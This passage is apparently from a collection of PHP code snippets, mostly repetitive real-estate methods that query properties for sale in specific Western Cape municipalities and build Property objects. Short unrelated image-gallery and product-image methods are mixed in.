$this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getWesternCapePropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_status, property_desc, price, num_bathrooms, \n\t\t\t\t\t\t street_no, street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name, \n\t\t\t\t\t\t provinces.province_id, province_name, agents.agent_id, firstname, lastname, email, \n\t\t\t\t\t\t phone, agencies.agency_id, agency_name, logo\n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN provinces\n\t\t\t\t\t\t ON municipalities.province_id = provinces.province_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\t\t\t\t\t\t \n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE property_status = 'For Sale'\n\t\t\t\t\t\t AND provinces.province_id = '3'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$province = new Province();\n\t\t\t\t\t$province->setProvinceID($row['province_id']);\n\t\t\t\t\t$province->setProvinceName($row['province_name']);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$munucipality->setProvince($province);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\t\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "private function images()\n {\n return File::allFiles(public_path('img/gallery'));\n }", "public function getBergrivierPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '116'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getWitzenbergPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '100'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getLaingsburgPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '105'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getBeaufortWestPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '101'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "function getTeaserImages() \t{\n \t\treturn $this->teaserImagesArray;\n \t}", "public function getHessequaPropertyListImagesForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = '109'\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getImages()\n {\n return GalleryImage::get()->filter('ParentID', $this->AllChildren()->column('ID') ?: null);\n }", "public function photos() {\n \treturn $this->morphMany('App\\Photo', 'imageable');\n }", "public function getPicturesInSlider(): PictureCollection;", "public function getImages() {\n\t\tif($this->images === null) {\n\t\t\t$this->images = $this->getObjectManager()->get('Qinx\\Qxgallery\\Domain\\Repository\\ImageRepository')->findAll(array(\n\t\t\t\t'category' => $this\n\t\t\t));\n\t\t}\n\n\t\treturn $this->images;\n\t}", "protected function buildImagesFields()\n {\n $groupName = Translate::getAdminTranslation(\"Images\", \"AdminProducts\");\n\n //====================================================================//\n // PRODUCT IMAGES\n //====================================================================//\n\n //====================================================================//\n // Product Images List\n $this->fieldsFactory()->create(SPL_T_IMG)\n ->identifier(\"image\")\n ->inList(\"images\")\n ->name(Translate::getAdminTranslation(\"Images\", \"AdminProducts\"))\n ->group($groupName)\n ->microData(\"http://schema.org/Product\", \"image\")\n ->isReadOnly(self::isSourceCatalogMode())\n ->addOption(\"shop\", MSM::MODE_ALL)\n ;\n\n //====================================================================//\n // Product Images => Position\n $this->fieldsFactory()->create(SPL_T_INT)\n ->identifier(\"position\")\n ->inList(\"images\")\n ->name(Translate::getAdminTranslation(\"Position\", 